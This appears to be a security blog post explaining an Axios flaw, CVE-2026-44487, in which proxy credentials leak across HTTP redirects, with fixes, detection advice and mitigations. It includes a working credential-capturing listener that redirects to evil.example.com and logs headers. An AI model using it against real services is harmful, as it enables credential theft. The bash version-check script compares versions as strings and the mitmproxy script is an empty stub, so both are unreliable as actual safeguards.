Axios CVE-2026-44487: When Your Proxy Credentials Follow You to Strangers’ Servers
Axios's Node.js HTTP adapter could leak Proxy-Authorization headers to redirected origins. Here’s how the bug works, what an attacker sees, and how to lock it down before 0.32.0 or 1.16.0.
I’m going to start with a confession: I’ve shipped code that leaked proxy credentials. It was years ago, in an internal tool that scraped data from a partner’s API through a corporate forward proxy. The proxy required authentication. The tool used Axios. The partner’s API started returning 301 redirects to a new domain. And for three weeks, our proxy username and password showed up in the access logs of a completely unrelated CDN because Axios kept sending the Proxy-Authorization header to the redirected origin.
It was stupid. It was silent. And it’s exactly the class of bug that just got assigned CVE-2026-44487.
The vulnerability, published on June 11th, is a logic flaw in Axios’s Node.js HTTP adapter. In versions prior to 0.32.0 and 1.16.0, when Axios followed an HTTP redirect (status 301, 302, 307, 308), it could forward the Proxy-Authorization header to the new destination — even if that destination is a completely different host. If you’re using Axios through a forward proxy that demands authentication, those credentials might be heading to domains you never intended. CVSS 7.5 — High.
This isn’t some edge-case configuration that only affects three people in Finland. Forward proxies are everywhere in enterprise and cloud environments. If you’re scraping the web, calling partner APIs, or using a corporate egress proxy from a Node.js service, there’s a decent chance you’re affected. The fix is a version bump away, but understanding the mechanics — and the attacker’s view — is what I want to walk through here.
The Proxy-Authorization Header, Briefly
Proxy-Authorization is not the same as Authorization. The latter authenticates you to the target server you’re requesting. The former authenticates you to an HTTP proxy that sits between you and the internet. When a forward proxy requires credentials, the client sends requests to the proxy itself, and those requests carry the Proxy-Authorization header with a scheme and token — like Basic, Bearer, or Digest — that the proxy validates before forwarding the request onward.
Here’s a typical request going through an authenticated proxy:
GET http://api.example.com/data HTTP/1.1
Host: api.example.com
Proxy-Authorization: Basic dXNlcjpwYXNzThe proxy receives this, validates the header, strips it, and then makes its own connection to api.example.com without sending that sensitive header. At least, that’s the ideal.
Now toss in a 302 redirect from api.example.com to somewhere else. The proxy receives the redirect response and passes it back to the client. The client decides whether to follow the redirect. If it does, what headers does it include on the new request? That’s where the Axios bug lives.
How Axios Handles Redirects in Node.js
Axios uses platform-specific adapters. On Node.js, it wraps the http and https modules. When maxRedirects is set (default 5), Axios intercepts 3xx responses internally and creates a new request to the Location header, carrying over certain headers from the original request.
For security, headers like Authorization should not automatically be forwarded across origins. Axios has logic to strip or recompute sensitive headers on redirect. But prior to the fixed versions, Proxy-Authorization was not on that exclusion list.
Look at the vulnerable path. Image you configure Axios like this:
const axios = require('axios');
const instance = axios.create({
proxy: {
host: 'proxy.corp.internal',
port: 8080,
auth: {
username: 'svc_account',
password: 'SuperSecret123'
}
},
maxRedirects: 5
});
// Initial request to a resource that redirects
instance.get('http://api.partner.com/old-endpoint')
.then(res => { /* ... */ });Suppose http://api.partner.com/old-endpoint returns a 301 redirect to http://new-api.partner.com/new-endpoint. Axios follows the redirect, constructs a new request, and includes the Proxy-Authorization header if the proxy configuration is still in place. That header, carrying the auth credentials, now ends up on the wire to new-api.partner.com. If the redirect goes to a host you don’t control — or worse, an attacker-controlled server — you’ve got a leak.
Now, I’ve seen setups where the proxy credentials are actually credentials for the corporate LDAP or SSO, rotated infrequently, and reused across multiple services. Leaking those to a third party isn’t just a theoretical risk; it’s potential lateral movement or data exfiltration waiting to happen.
A Redirection Playground: What the Attacker Sees
Let’s flip to the attacker’s perspective. Suppose I’m running a malicious server or I’ve compromised a host that your application trusts. I know your service uses Axios with a forward proxy. I can trigger a request from your service to an endpoint I control (maybe via webhook, maybe via a crafted link in a user-input field). I return a 302 redirect to my own server — no proxy authentication required in the second hop. If your Axios instance carries the Proxy-Authorization header through the redirect, my access logs will contain it.
Here’s a minimal evil listener using Node.js:
const http = require('http');
http.createServer((req, res) => {
console.log(`[${new Date().toISOString()}] ${req.method} ${req.url}`);
console.log('Headers:', req.headers);
// On the initial request, redirect to a second endpoint on this same server
if (req.url === '/') {
res.writeHead(302, { Location: 'http://evil.example.com/leaked' });
res.end();
} else {
res.end('Got it');
}
}).listen(80);If the vulnerable Axios client follows the redirect, my console logs proxy-authorization: Basic c3ZjX2FjY291bnQ6U3VwZXJTZWNyZXQxMjM= (or whatever base64 blob). I decode that and get the username and password.
The attack surface is larger than you might think. Many organizations route all outbound traffic from their internal networks through authenticated forward proxies. A microservice that fetches user-uploaded URLs, a server-side request forgery (SSRF) sink, or even a simple RSS feed parser could become the vector that slingshots your proxy credentials to an attacker.
Why Didn’t We Catch This Sooner?
The bug is subtle because it only manifests on redirect after a proxy-authenticated request. In many typical use cases, Axios users don’t even configure a proxy; they go direct to the internet. Even when they do, if the backend APIs never redirect, the header forwarding path is never exercised. This isn’t the kind of bug you’d find in a standard unit test unless you’re explicitly testing redirect behavior with a proxy in the loop.
From a code review perspective, the logical separation between “request headers” and “headers that gate proxy access” is fuzzy. Developers often treat Proxy-Authorization as just another header to copy over, forgetting that it’s a hop-by-hop header that should be consumed by the proxy and never forwarded beyond it. The HTTP spec says Proxy-Authorization is end-to-end with the proxy — meaning after the proxy consumes it, the header should not appear on the forwarded request, and certainly not on subsequent client-initiated redirects. But Axios was re-constructing the request with the original headers, bypassing that semantic.
The Fix: Versions 0.32.0 and 1.16.0
The Axios maintainers addressed this by explicitly stripping Proxy-Authorization when following redirects to a different origin. The change is straightforward: they added Proxy-Authorization to the list of headers that are removed before the redirected request is sent, unless the redirect is to the same origin or the security model explicitly allows it. The same patch also ensures that Authorization (for the target server) is not inadvertently forwarded across origins, which was already handled but got a consistency pass.
If you’re on Axios 1.x, upgrade to 1.16.0+. If you’re still on 0.x (and you should really move), upgrade to 0.32.0+.
No configuration changes are required; the fix is internal. This is a “patch and deploy” situation.
But Wait — Does Upgrading Axios Solve Everything?
Yes for this specific CVE. No for the class of bugs. The underlying lesson is that any HTTP client you use must treat authentication headers with the same paranoia you’d apply to session cookies. Redirects are a trust boundary crossing. Whenever a request is redirected, the client must reconsider which headers are still appropriate. You should never assume that your proxy credentials are only seen by the proxy — especially when your application interacts with the open internet.
I’ve automated this check before using intercepting proxies and custom lint rules. A simple mitmproxy script can flag any outbound request where Proxy-Authorization is seen outside the initial proxy connection:
# mitmproxy inline script to detect proxy-auth leak on redirects
from mitmproxy import http
def request(flow: http.HTTPFlow) -> None:
if "proxy-authorization" in flow.request.headers:
# This is a client->proxy request, normal
pass
# But if we are the proxy and forwarding a request with proxy-auth still present, log it
# In transparent proxy mode, this would be unusual.
def response(flow: http.HTTPFlow) -> None:
# On a redirect response from upstream, check if the subsequent request (which mitmproxy sees)
# still includes the header; more complex but doable.
passBetter still, you can configure your proxy (like Squid or envoy) to strip the Proxy-Authorization header from outbound requests if it’s being sent beyond the proxy — a defense-in-depth measure that would have neutered this bug even before the patch.
Detection: How to Tell If You Were Affected
If you run a forward proxy with logging, you can search for requests where Proxy-Authorization appears in the request to the upstream server (not the initial proxy CONNECT or GET). In Squid access logs, that would be the %{Proxy-Authorization}ri format code if you’ve enabled custom log formats. In a more modern proxy like Envoy, you’d check the access logs for the upstream cluster’s request headers. If you find the header present on non-proxy destinations, you’ve got a leak.
Another angle: check your application’s outgoing HTTP logs if you instrument them. Look for redirect sequences where the second request to a different host still carries Proxy-Authorization. That’s a smoking gun.
For those without detailed logs, consider a quick audit: search your codebase for proxy configuration in Axios instantiation, then cross-reference those instances with any code that fetches user-supplied URLs or calls untrusted APIs. Even if you think your endpoints never redirect, an attacker who can poison DNS or inject a redirect response (e.g., through an open redirect vulnerability in the target API) can weaponize this.
What I’d Do Differently in a Client Library
If I were building an HTTP client from scratch (which, sometimes I do for internal automation tools), I’d enforce a principle: headers with the Proxy- prefix are never forwarded beyond the proxy hop. They are stripped by the client before creating the request to the actual origin, and they stay stripped across every redirect. It’s not enough to rely on the proxy to do the stripping because misbehaving clients (like this Axios bug) can circumvent that. The client should drop them unconditionally.
I’d also make redirect-following more intentional. Instead of a blanket maxRedirects, I’d have developers explicitly define allowed redirect targets or maximum hop count per origin, making off-origin redirects a conscious opt-in. Most of my automation scripts never need to follow off-domain redirects; they fetch a specific resource and that’s it. The default should be safe.
Practical Mitigations Before You Can Patch
Maybe you can’t upgrade immediately — frozen dependency trees, locked-down CI pipelines, whatever. Here’s what you can do today:
- Set `maxRedirects: 0`. If your use case doesn’t need to follow redirects, disable them entirely. This eliminates the vector.
- Intercept redirects manually with Axios’s
validateStatusand handle location headers yourself, explicitly omitting anyProxy-Authorizationheader on subsequent requests. - Wrap Axios with a request interceptor that strips the header if the request URL is not destined for the proxy’s original target:
axios.interceptors.request.use(config => {
if (config.proxy && config.proxy.auth) {
// If this request is going to the proxy itself, headers are fine.
// But if it's a redirected request to a different origin, we nuke it.
const targetHost = new URL(config.url).host;
const proxyHost = config.proxy.host;
if (targetHost !== proxyHost) {
delete config.headers['Proxy-Authorization'];
}
}
return config;
});This isn’t bulletproof — the redirect internal loop inside Axios happens after your interceptor, so you need to be careful. A better approach for immediate mitigation is to not use Axios’s built-in redirect following at all. Set maxRedirects: 0 and handle the Location header yourself, then make a second Axios call cleanly without the proxy auth if it’s to a different origin. Yes, it’s more code, but it keeps your credentials safe.
The Bigger Picture: Hop-by-Hop Headers and Trust Boundaries
CVE-2026-44487 is one more reminder that HTTP clients are not just plumbing — they’re security boundaries. The list of hop-by-hop headers defined in RFC 7230 includes Proxy-Authorization, Proxy-Authenticate, Connection, Keep-Alive, TE, Trailer, Transfer-Encoding, and Upgrade. Any HTTP library that redirects requests must understand which headers are only meaningful on the immediate connection and must never traverse network boundaries beyond that.
I still see tools and frameworks that blindly copy all request headers to redirected requests. That’s how you get internal X-Forwarded-For IPs leaking, or Proxy-Authorization popping up in third-party logs. It’s not just an Axios problem — it’s a failure of mental model. We treat HTTP headers as flat dictionaries when they’re actually a set of contracts with different lifetimes.
If you’re reverse-engineering undocumented APIs, you’ve probably encountered cases where a seemingly innocuous redirect reveals more than the API intended. I’ve intercepted traffic where a CDN returned a 301 and the redirected request leaked an internal Authorization header downstream because the reverse proxy didn’t sanitize it. Same class of bug, different client.
Automating the Fix at Scale
For teams managing dozens of Node.js services, I’d script a quick sweep of package-lock.json or yarn.lock files to find Axios versions below the fix range, then batch the PRs. Something like:
#!/bin/bash
# Find all package-lock.json and extract axios version
find . -name 'package-lock.json' | while read lockfile; do
version=$(jq -r '.packages["node_modules/axios"].version // empty' "$lockfile")
if [[ -n "$version" ]]; then
if [[ "$version" < "0.32.0" ]] || ( [[ "$version" > "1.0.0" ]] && [[ "$version" < "1.16.0" ]] ); then
echo "VULNERABLE: $lockfile has axios@$version"
fi
fi
doneYou can wrap that into a CI check that blocks deployments until the patch is in place. It’s a five-minute script that could prevent a week-long incident response.
So What Should You Actually Do?
First, upgrade. The Axios changelog for 1.16.0 mentions the fix explicitly (“fix: prevent Proxy-Authorization forwarding on redirect”). If you’re using 0.x, it’s time to jump to 0.32.0 or, better yet, migrate to 1.x because 0.x is essentially in maintenance mode. The breaking changes are well-documented and the path is straightforward.
Second, audit your proxy architecture. If you have an authenticated forward proxy between your Node.js services and the internet, ask yourself: what happens when a target server redirects? Does your client library strip the credentials? Do you have network-level controls that prevent the proxy from forwarding sensitive headers to untrusted destinations? The proxy should be configured to strip Proxy-Authorization on egress anyway, because that’s its job. Don’t rely on clients to be well-behaved.
Third, treat redirects as suspicious by default. In a security-conscious codebase, any automatic redirect following across origins should require explicit justification. I’d go so far as to say you should log every off-domain redirect your application performs and alert if the destination isn’t on an allowlist. That’s aggressive, but when you’re handling credentials or sensitive data, it’s warranted.
Finally, test this stuff. Write an integration test that stands up a small HTTP proxy and a redirecting origin, configure Axios to use the proxy, and assert that the Proxy-Authorization header does not appear on the final redirected request. If you’re using CI, add it to your test suite. These bugs are easy to test for and extremely painful to discover in production.
Closing Thoughts
CVE-2026-44487 isn’t the kind of vulnerability that makes the Hacker News front page with a clever logo, but it’s the kind that lurks in enterprise codebases for years. I’ve found similar leaks in my own automation code and in code I’ve reviewed. The fix is trivial — the awareness, less so. If you’re using Axios behind a proxy, upgrade today. If you’re building an HTTP client, learn from this: hop-by-hop headers are not data; they’re temporary trust tokens and they decay after one hop. Handle them accordingly.
Related posts
- Security
How I got free cinema credit by ordering -2 popcorns
A missing input validation on M-Tix Cinema XXI's food ordering API let me increase my account balance by submitting negative quantities. No tools needed — just a browser.
May 19, 2026 · 6 min - Security
How I analyze API security headers in 30 seconds
A quick checklist for reading HTTP response headers and spotting security misconfigurations before you even look at the response body.
May 18, 2026 · 7 min - Security
Common auth mistakes I find when reverse-engineering APIs
After years of poking at APIs that weren't meant to be poked at, these are the auth patterns that break most often — and why.
May 18, 2026 · 9 min